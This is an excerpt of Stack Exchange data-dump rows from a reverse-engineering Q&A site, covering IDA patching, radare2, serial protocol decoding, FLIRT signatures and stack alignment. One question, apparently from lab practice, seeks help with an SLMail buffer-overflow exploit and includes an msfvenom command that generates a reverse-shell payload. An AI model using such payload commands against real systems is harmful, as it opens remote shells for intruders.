  <row Id="18956" PostTypeId="1" AcceptedAnswerId="18965" CreationDate="2018-08-01T14:12:52.623" Score="1" ViewCount="136" Body="&lt;p&gt;Consider the following piece of code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00F74B42 call    sub_12D1130&#xA;.text:00F74B47 mov     eax, dword_15A0C80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, I want to add a sanity check but as I don't have enough space to do that I remove &quot;useless&quot; call instruction and move everything up by 5 bytes.&#xA;So I end up with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00F74B42 mov     eax, dword_15A0C80&#xA;.text:00F74B47 test    eax, eax &#xA;.text:00F74B49 jz      loc_xyz&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately when my program gets rebased to different virtual address, &lt;code&gt;dword_15A0C80&lt;/code&gt; is not correctly updated, instead, bytes at &lt;code&gt;B47&lt;/code&gt; - &lt;code&gt;B4B&lt;/code&gt; are.&#xA;I understand that &lt;code&gt;dword_15A0C80&lt;/code&gt;'s offset at &lt;code&gt;00F74B47&lt;/code&gt; is stored somewhere so when &lt;code&gt;.data&lt;/code&gt; segment gets a new virtual address it's updated.&#xA;The question is where and how to search for it quickly using IDA for instance?&lt;/p&gt;&#xA;" OwnerUserId="25201" LastEditorUserId="245" LastEditDate="2018-08-01T15:35:08.330" LastActivityDate="2018-08-02T20:03:07.423" Title="Data moved after program rebase" Tags="|ida|disassembly|x86|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18957" PostTypeId="1" CreationDate="2018-08-01T14:53:21.820" Score="1" ViewCount="167" Body="&lt;p&gt;I read on the BAT &lt;a href=&quot;https://github.com/armijnhemel/binaryanalysis&quot; rel=&quot;nofollow noreferrer&quot;&gt;github&lt;/a&gt; page that BAT is no longer actively maintained.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Why did the project come to an end?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What alternatives are there to unpack all kinds of archives /&#xA;firmwares / binary structures?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Or do you plan to still use BAT nevertheless?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11830" LastActivityDate="2018-08-01T14:53:21.820" Title="Binary Analysis Tool (BAT) no longer maintained - alternatives?" Tags="|firmware|tools|unpacking|" AnswerCount="0" CommentCount="0" ClosedDate="2018-11-23T20:52:44.527" ContentLicense="CC BY-SA 4.0" />
  <row Id="18960" PostTypeId="2" ParentId="6040" CreationDate="2018-08-01T18:50:07.833" Score="5" Body="&lt;p&gt;Here's a fun, quick little trick if in a Windows environment and you're checking for an x86 or x64 binary:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Right-click on the application.&lt;/li&gt;&#xA;&lt;li&gt;Click &lt;code&gt;Properties&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Click the &lt;code&gt;Compatibility&lt;/code&gt; tab.&lt;/li&gt;&#xA;&lt;li&gt;In the &lt;code&gt;Compatibility mode&lt;/code&gt; section, check the &lt;code&gt;Run this program in compatibility mode for:&lt;/code&gt; box.&lt;/li&gt;&#xA;&lt;li&gt;If you see &lt;code&gt;Windows 95&lt;/code&gt; as an option from the drop-down, then it's a 32-bit application. If you do not, then it's a 64-bit application.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20928" LastActivityDate="2018-08-01T18:50:07.833" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18961" PostTypeId="2" ParentId="15763" CreationDate="2018-08-02T01:45:20.153" Score="-1" Body="&lt;p&gt;It may call &lt;code&gt;IsDebuggerPresent&lt;/code&gt; to check if you're debugging it, so you can't just  create that process by OD, maybe Attach could work. There's another way,&#xA;find the condition and set clear &lt;code&gt;eax&lt;/code&gt; to make it use the other branch.&lt;/p&gt;&#xA;" OwnerUserId="25204" LastEditorUserId="245" LastEditDate="2018-08-02T06:48:13.510" LastActivityDate="2018-08-02T06:48:13.510" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18962" PostTypeId="1" CreationDate="2018-08-02T15:39:32.007" Score="1" ViewCount="215" Body="&lt;p&gt;I am trying to make &lt;a href=&quot;https://www.exploit-db.com/exploits/646/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this exploit&lt;/a&gt; work and having some difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I skipped to a 'fixed' version of it from here and the only thing I changed was the shell code:&#xA;&lt;a href=&quot;https://github.com/cokebottle/oscp-tools/blob/master/646-fixed.c&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/cokebottle/oscp-tools/blob/master/646-fixed.c&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The program terminates showing error code In Immunity Debugger: &lt;code&gt;BB010002&lt;/code&gt;. Even Google doesn't know what this error means. The last command causing program termination is &lt;code&gt;C3&lt;/code&gt;, or opcode &lt;code&gt;RETN&lt;/code&gt;, so it must have something to do with the stack. This op, that is causing the crash is part of my shell code, which I have generated as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=&amp;lt;PWK VM IP&amp;gt; LPORT=443 -b '\x00\x0a\x0d' -f c &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The SLMail is a default setup of 5.5 on a 32-bit windows 7 VM. I've been stuck here for over a week, so &lt;em&gt;please&lt;/em&gt; do help as much as possible.&lt;/p&gt;&#xA;" OwnerUserId="25211" LastEditorUserId="245" LastEditDate="2018-08-02T20:06:59.223" LastActivityDate="2018-08-02T20:06:59.223" Title="Immunity error BB010002" Tags="|windows|linux|immunity-debugger|buffer-overflow|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18963" PostTypeId="1" CreationDate="2018-08-02T16:29:29.847" Score="3" ViewCount="1394" Body="&lt;p&gt;When I try to load a program to radare2 debug mode, most of the time I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sudo r2 -d a.out&#xA;Hello world!= attach 2851 2851&#xA;Cannot open '/proc/2851/maps': No such file or directory&#xA;Hello world!asm.bits 64&#xA;Cannot open '/proc/2851/maps': No such file or directory&#xA;-- Now i'm like an evil engineer. MUAHAHAH&#xA;[0x00000000]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Radare2 works but doesn't load the program. Should I need to configure something else on the system?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is on Ubuntu 18.04.1 LTS.&lt;/p&gt;&#xA;" OwnerUserId="25212" LastEditorUserId="245" LastEditDate="2019-12-06T09:22:23.613" LastActivityDate="2019-12-06T09:22:23.613" Title="Cannot open '/proc/.../maps': No such file or directory in radare2 debug mode" Tags="|linux|radare2|debuggers|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18964" PostTypeId="1" CreationDate="2018-08-02T17:53:51.023" Score="2" ViewCount="965" Body="&lt;p&gt;This is an extension of my &lt;a href=&quot;https://reverseengineering.stackexchange.com/q/18570/23069&quot;&gt;previous question&lt;/a&gt;. Here is a sample of assembly in x64 Windows executable using COM virtual function with &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/zthk2dkh.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;__fastcall&lt;/code&gt; convention&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     [rsp+32], rdx                       ; 5th param&#xA;lea     r9, var                             ; 4th param&#xA;xor     r8d, r8d                            ; 3rd param&#xA;mov     rdx, r14                            ; 2nd param&#xA;mov     rcx, r15                            ; 1st param&#xA;mov     rax, [rax+24]                       ; 4th function pointer&#xA;call    cs:__guard_dispatch_icall_fptr      ; call dynamic dispatch&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In pseudocode, IDA shows only 4 parameters, 5th one is vanished.&#xA;&lt;br&gt;IDA shows like this: &lt;code&gt;(ppv + 24)(a, b, c, d);&lt;/code&gt;&#xA;&lt;br&gt;But the real function definition will be like this: &lt;code&gt;(ppv + 24)(a, b, c, d, e);&lt;/code&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;What I tried: 1. Add a header file with the correct function definition and with correct position in vtable using Ctrl+F9 key combo, 2. Change compiler calling convention to &lt;code&gt;__fastcall&lt;/code&gt; in Options &amp;gt; Compiler menu, 3. Change function definition with &lt;kbd&gt;Y&lt;/kbd&gt; key.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Question: How can I allow to show all the stack parameters in a function using IDA (or any extensions)?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;" OwnerUserId="23069" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-08-02T17:53:51.023" Title="Show parameters stored in stack with __fastcall in IDA" Tags="|ida|disassembly|decompilation|calling-conventions|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18965" PostTypeId="2" ParentId="18956" CreationDate="2018-08-02T20:03:07.423" Score="1" Body="&lt;p&gt;I've come to answer my own question just as a future reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I was not able to find such &lt;code&gt;dword_15A0C80&lt;/code&gt;'s reference in the relocation table, I made a simple crawler. It took into consideration all &lt;code&gt;dword_15A0C80&lt;/code&gt; occurrences and theirs last bytes that were not too far from each other which basically got me to one result pretty much right away. Note, that it was int16 occupying just 2 bytes, basically just an offset to subroutine which didn't seem significant in any way to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to freenode:##asm:Jester01 for pointing me the right direction.&lt;/p&gt;&#xA;" OwnerUserId="25201" LastActivityDate="2018-08-02T20:03:07.423" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18966" PostTypeId="1" AcceptedAnswerId="18972" CreationDate="2018-08-03T01:22:16.097" Score="3" ViewCount="606" Body="&lt;p&gt;I have an ebike consisting of a controller which regulates power to the motor and a smart LCD which can adjust max speed, power output, pedal assist sensitivity etc as well as displaying the current battery voltage, motor power usage (Watts) and motor speed.&lt;br&gt;&#xA;The LCD and controller are connected by a 5v rx/tx line. I have connected an arduino mega in series in the middle of the serial lines; controller rx/tx to arduino serial1 tx/rx then arduino serial2 tx/rx to the LCD rx/tx.&lt;br&gt;&#xA;Code is currently passing all received data from controller directly to the LCD and vice versa which works perfectly, LCD values are correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish to analyse the protocol but can't seem to figure out any sort of structure in it. Currently focusing on Controller -&gt; LCD comms to extract motor values. Seems like all commands start with 02 (start of text in AsciiTable) and most then contain 0E which I initially suspected to be message length however that does not seem to be the case as evident from the following commands:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;02 0E 40 40 00 00 03 0B B8 00 00 35 C8&lt;br&gt;&#xA;  02 0E 01 00 40 00 00 03 0B 98 00 35 C8&lt;br&gt;&#xA;  02 4E 40 40 00 00 03 0B B8 88 54 42 F7&lt;br&gt;&#xA;  02 0E 41 00 0A 00 02 03 B8 00 00 35 C8&lt;br&gt;&#xA;  02 0E 01 00 50 00 D0 0B B8 00 00 05 FE  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;02 4E 40 40 00 00 03 0B B8 00 35 C8&lt;br&gt;&#xA;  02 4E 40 20 0A 00 03 0A B8 80 35 C8&lt;br&gt;&#xA;  02 4E 40 40 00 00 03 0B B8 88 54 42 F7&lt;br&gt;&#xA;  02 4E 40 08 01 00 03 0B DD 81 A0 93 FE FE FE&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here is the full hexdump from roughly 60 seconds of running, messages come in constant stream: &lt;a href=&quot;https://pastebin.com/iFFEWAFd&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/iFFEWAFd&lt;/a&gt;&lt;br&gt;&#xA;That dump will contain values for battery voltage ( 45-52.4V ), motor power usage (0-1000Watts, could also be 0-10Amps ) and possibly wheel speed. Likely some other params in there also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Command &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;02 0E 01 00 40 00 00 03 0B B8 00 00 35 C8&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;is by far most popular accounting for over half the messages. Could this be a heartbeat possibly?&lt;br&gt;&#xA;Here is the same paste without that command for easier reading: &lt;a href=&quot;https://pastebin.com/b5iQugaY&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/b5iQugaY&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PDF Manual for LCD: &lt;a href=&quot;http://www.pedelecs.co.uk/wp-content/uploads/2017/04/mdrivelcdmanual.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.pedecs.co.uk&lt;/a&gt;&lt;br&gt;&#xA;Not found any sort of manual for controller as of yet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for any insight provided, i'm still getting my head around this whole reverse engineering thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;I have managed to isolate several commands. The command previously thought to be a heartbeat is infact the speed 0. Here is a dump of the bike decelerating from 19mph to 0mph:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;02 0E 01 00 40 00 00 03 00 F5 00 00 35 8E &#xA;02 0E 01 00 40 00 00 03 00 FD 00 00 35 86 &#xA;02 0E 01 00 40 00 00 03 01 05 00 00 35 7F &#xA;02 0E 01 00 40 00 00 03 00 0C 00 00 35 74&#xA;02 0E 01 00 40 00 00 03 01 25 00 00 35 AE &#xA;02 0E 01 00 40 00 00 03 01 3F 00 00 35 45 &#xA;02 0E 01 00 40 00 00 03 01 4F 00 00 35 35 &#xA;02 0E 01 00 40 00 00 03 01 4F 00 00 35 35 &#xA;02 0E 01 00 40 00 00 03 01 60 00 00 35 1A &#xA;02 0E 01 00 40 00 00 03 01 60 00 00 35 1A &#xA;02 0E 01 00 40 00 00 03 01 76 00 00 35 0C &#xA;02 0E 01 00 40 00 00 03 01 76 00 00 35 0C &#xA;02 0E 01 00 40 00 00 03 01 8E 00 00 35 F4 &#xA;02 0E 01 00 40 00 00 03 01 8E 00 00 35 F4 &#xA;02 0E 01 00 40 00 00 03 01 AB 00 00 35 D1 &#xA;02 0E 01 00 40 00 00 03 01 AB 00 00 35 D1 &#xA;02 0E 01 00 40 00 00 03 01 CE 00 00 35 B4 &#xA;02 0E 01 00 40 00 00 03 01 CE 00 00 35 B4 &#xA;02 0E 01 00 40 00 00 03 01 CE 00 00 35 B4 &#xA;02 0E 01 00 40 00 00 03 01 FC 00 00 35 86&#xA;02 0E 01 00 40 00 00 03 02 8A 00 00 35 F3 &#xA;02 0E 01 00 40 00 00 03 02 8A 00 00 35 F3 &#xA;02 0E 01 00 40 00 00 03 02 8A 00 00 35 F3 &#xA;02 0E 01 00 40 00 00 03 02 8A 00 00 35 F3 &#xA;02 0E 01 00 40 00 00 03 03 0C 00 00 35 74 &#xA;02 0E 01 00 40 00 00 03 03 0C 00 00 35 74 &#xA;02 0E 01 00 40 00 00 03 03 0C 00 00 35 74 &#xA;02 0E 01 00 40 00 00 03 03 0C 00 00 35 74 &#xA;02 0E 01 00 40 00 00 03 03 0C 00 00 35 74 &#xA;02 0E 01 00 40 00 00 03 04 05 00 00 35 7A &#xA;02 0E 01 00 40 00 00 03 04 05 00 00 35 7A &#xA;02 0E 01 00 40 00 00 03 04 05 00 00 35 7A &#xA;02 0E 01 00 40 00 00 03 04 05 00 00 35 7A &#xA;02 0E 01 00 40 00 00 03 04 05 00 00 35 7A &#xA;02 0E 01 00 40 00 00 03 06 34 00 00 35 49 &#xA;02 0E 01 00 40 00 00 03 06 34 00 00 35 49 &#xA;02 0E 01 00 40 00 00 03 06 34 00 00 35 49 &#xA;02 0E 01 00 40 00 00 03 06 34 00 00 35 49 &#xA;02 0E 01 00 40 00 00 03 06 34 00 00 35 49 &#xA;02 0E 01 00 40 00 00 03 06 34 00 00 35 49 &#xA;02 0E 01 00 40 00 00 03 06 34 00 00 35 49 &#xA;02 0E 01 00 40 00 00 03 06 34 00 00 35 49 &#xA;02 0E 01 00 40 00 00 03 06 34 00 00 35 49 &#xA;02 0E 01 00 40 00 00 03 06 34 00 00 35 49 &#xA;02 0E 01 00 40 00 00 03 06 34 00 00 35 49 &#xA;02 0E 01 00 40 00 00 03 06 34 00 00 35 49 &#xA;02 0E 01 00 40 00 00 03 0B B8 00 00 35 C8 &#xA;02 0E 01 00 40 00 00 03 0B B8 00 00 35 C8 &#xA;02 0E 01 00 40 00 00 03 0B B8 00 00 35 C8 &#xA;02 0E 01 00 40 00 00 03 0B B8 00 00 35 C8 &#xA;02 0E 01 00 40 00 00 03 0B B8 00 00 35 C8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Only bytes 9,10 and 14 are changing. These values do not correspond directly to speed though, will more likely somehow relate to RPM as the LCD knows wheel size and displayed speed changes for any given command when I manually change expected wheel size value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update2:&#xA;bytes 9 and 10 combine to output a value between 0-3000. This value is the ms between full rotations of the wheel thus allowing for calculation of speed given you know the circumference. Byte 14 appears to be a checksum of some sort, would be handy if anyone could workout how this is calculated.&lt;/p&gt;&#xA;" OwnerUserId="25216" LastEditorUserId="25216" LastEditDate="2018-08-04T19:22:58.320" LastActivityDate="2022-09-27T22:08:12.300" Title="Decipher variable length serial protocol" Tags="|hex|serial-communication|protocol|hexadecimal|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="18967" PostTypeId="1" AcceptedAnswerId="19023" CreationDate="2018-08-03T01:34:49.303" Score="1" ViewCount="728" Body="&lt;p&gt;So, I have a program which I am 99% sure it is using Lua as when I look at string references I see this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dppK1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dppK1.png&quot; alt=&quot;Lua Copyright Version&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which I am understanding that somewhere in this program they have statically linked a Lua C or something of the sort, so I did a quick Google for Lua 5.2.1 Libraries, I found &lt;a href=&quot;https://sourceforge.net/projects/luabinaries/files/5.2.1/Windows%20Libraries/Static/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; which is a link to the Source Forge for Lua static libraries for 5.2.1, so I downloaded it, opened up the IDA SDK, and ran:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.\pcf.exe .\lua52.lib .\lua52.pat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which returns: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...\lua52.lib: skipped 0, total 793&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which I interpret to understand it found 793 signatures or something similar, so then I ran:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.\sigmake.exe .\lua52.pat .\lua52.pat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which returns an error;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.\lua52.pat: modules/leaves: 767/793, COLLISIONS: 1&#xA;See the documentation to learn how to resolve collisions.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which I assume meant I had to use the -r switch, so I reran it&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.\sigmake.exe -r .\lua52.pat .\lua52.sig&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It generated no errors and produced the sig file, so I dropped it in the sig directory in IDA which lets it show up, so when I go to apply &#xA;&lt;a href=&quot;https://i.stack.imgur.com/7c2aa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7c2aa.png&quot; alt=&quot;Lua Signature Image In IDA&quot;&gt;&lt;/a&gt;&#xA;it shows up which I expected, I add it to IDA, it tells me there are&lt;a href=&quot;https://i.stack.imgur.com/h0VXe.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/h0VXe.png&quot; alt=&quot;Proof of references&quot;&gt;&lt;/a&gt; references, but nothing I am &quot;sure&quot; is Lua gets renamed? Is that expect or not? I know this line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub_140856EE0(v1, (__int64)&quot;field '%s' missing in date table&quot;, &quot;year&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is Lua because when you google the middle field it tells it's a Lua using a Lua function. Finally I've ran a reanalyses to make sure it looks back through the file to give it a once over.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have I missed something obvious here?&lt;/p&gt;&#xA;" OwnerUserId="19684" LastActivityDate="2018-08-09T10:26:24.153" Title="FLIRT Signature Applied, IDA shows references but no auto rename?" Tags="|ida|flirt-signatures|lua|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18968" PostTypeId="2" ParentId="14880" CreationDate="2018-08-03T12:42:01.900" Score="4" Body="&lt;p&gt;As SYS_V correctly cites in &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/14883/25222&quot;&gt;his answer&lt;/a&gt;, the &lt;a href=&quot;https://gcc.gnu.org/onlinedocs/gcc-8.2.0/gcc/x86-Options.html#index-mpreferred-stack-boundary-1&quot; rel=&quot;nofollow noreferrer&quot;&gt;GCC documentation&lt;/a&gt; states that GCC will work to align the stack pointer to 16-byte boundaries by default.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;-mpreferred-stack-boundary=num&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Attempt to keep the stack boundary aligned to a 2 raised to num byte&#xA;  boundary. If &lt;code&gt;-mpreferred-stack-boundary&lt;/code&gt; is not specified,&#xA;  the default is 4 (16 bytes or 128 bits).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;We find some reasoning as to why this is done as well (&lt;strong&gt;NB:&lt;/strong&gt; On the 64-bit architecture, 16-byte alignment is mandatory):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[A different value] leads to wrong code when functions compiled with 16 byte stack alignment (such as functions from a standard library) are called with misaligned stack. In this case, SSE instructions may lead to misaligned memory access traps [and] variable arguments are handled incorrectly for 16 byte aligned objects [...] You must build all modules [with the same value]. This includes the system libraries and startup modules.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Note, however, that this is mostly about the stack &lt;em&gt;frame&lt;/em&gt; (boundary), not necessarily the individual objects on the stack. This frame alignment happens not inside the function, but at the call site where you will see something like this (note the extra subtraction from &lt;code&gt;%esp&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; sub    $0xc,%esp                # pad stack by 12 bytes&#xA; push   %eax                     # push 4-byte argument&#xA; call   vulnerable_function&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Nevertheless it makes sense to keep (some) objects aligned as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your example, you encounter 0x88 (=136) bytes allocated for the 100-byte buffer while SYS_V got 0x78 (=120) for the same. Note that both these values are congruent 8 modulo 16. This is chosen because at this point, your stack frame already includes two 4-byte values: the return address and the saved frame pointer. With these combined, you end up 16-byte-aligned after the allocation.&lt;/p&gt;&#xA;" OwnerUserId="25222" LastEditorUserId="25222" LastEditDate="2018-08-03T12:47:12.713" LastActivityDate="2018-08-03T12:47:12.713" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18969" PostTypeId="2" ParentId="15173" CreationDate="2018-08-03T14:44:53.817" Score="7" Body="&lt;h1&gt;What does this do?&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;These three statements serve to &lt;em&gt;move&lt;/em&gt; the stackframe of &lt;code&gt;main&lt;/code&gt;, beginning with its return address, to the next 16-byte-aligned address.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea    0x4(%esp),%ecx    # save address of arguments&#xA;and    $0xfffffff0,%esp  # align stack&#xA;pushl  -0x4(%ecx)        # move return address&#xA;...                      # continue normal preamble&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the same time, the arguments to &lt;code&gt;main&lt;/code&gt; (&lt;code&gt;argc&lt;/code&gt; and &lt;code&gt;argv&lt;/code&gt;) are not moved, so a pointer to them is saved in &lt;code&gt;%ecx&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recall the layout of the stack upon entering &lt;code&gt;main&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;%esp+8:  argv (a pointer to an array of pointers)&#xA;%esp+4:  argc (a 32-bit integer)&#xA;%esp+0:  return address (from call)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The arguments sit right above the return address, so &lt;code&gt;%esp+4&lt;/code&gt; is saved to &lt;code&gt;%ecx&lt;/code&gt; before the stack pointer is adjusted.&#xA;Next, &lt;code&gt;%ecx&lt;/code&gt; also serves as our pointer to locate the original return address, &lt;code&gt;-4(%ecx)&lt;/code&gt;, which we push to our new stack frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the rest of the preamble, the stack will look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;%ecx+4:  argv pointer&#xA;%ecx+0:  argc&#xA;%ecx-4:  original return address&#xA;         ...&#xA;%esp+4:  copy of return address&#xA;%esp+0:  saved base pointer&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your code, you can also see that &lt;code&gt;%ecx&lt;/code&gt; is pushed onto the stack (i.e. saved as a local variable) after the preamble; it will be restored from there at the end of the function which will look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;mov    -0x8(%ebp),%ecx   # load pointer to argc&#xA;leave                    # unwind stack frame, pop %ebp&#xA;lea    -0x4(%ecx),%esp   # restore original stack pointer&#xA;ret                      # jump out, using the original return address!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Why is all this done at all?&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Modern processors like data aligned to 16-byte boundaries for various reasons; some operations may take significant performance hits otherwise, others might not work at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adjusting the &lt;code&gt;main&lt;/code&gt; stack frame once allows the rest of the code to run without further adjustment as long as care is taken to always allocate stack in multiples of 16 bytes before a call. That is why you will often see something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub    $0xc,%esp    # pad stack by 12 bytes&#xA;push   %eax         # push 4-byte argument&#xA;call   puts&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NB:&lt;/strong&gt; The x86-64 ABI makes the 16-byte stack alignment mandatory. Incidentally this means that you &lt;em&gt;will not&lt;/em&gt; find a frame adjustment on &lt;code&gt;main&lt;/code&gt; in 64-bit code - the stack is already aligned.&lt;/p&gt;&#xA;" OwnerUserId="25222" LastEditorUserId="25222" LastEditDate="2018-08-03T15:36:15.020" LastActivityDate="2018-08-03T15:36:15.020" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18970" PostTypeId="1" CreationDate="2018-08-03T16:35:05.430" Score="0" ViewCount="1904" Body="&lt;p&gt;Ida has a feature which generates pseudo code from assembly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a tool under Linux that make the same job, from objdump output for example ?&lt;/p&gt;&#xA;" OwnerUserId="18590" LastActivityDate="2018-09-03T00:01:54.797" Title="Generate c like pseudo code from objdump output" Tags="|decompilation|objdump|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
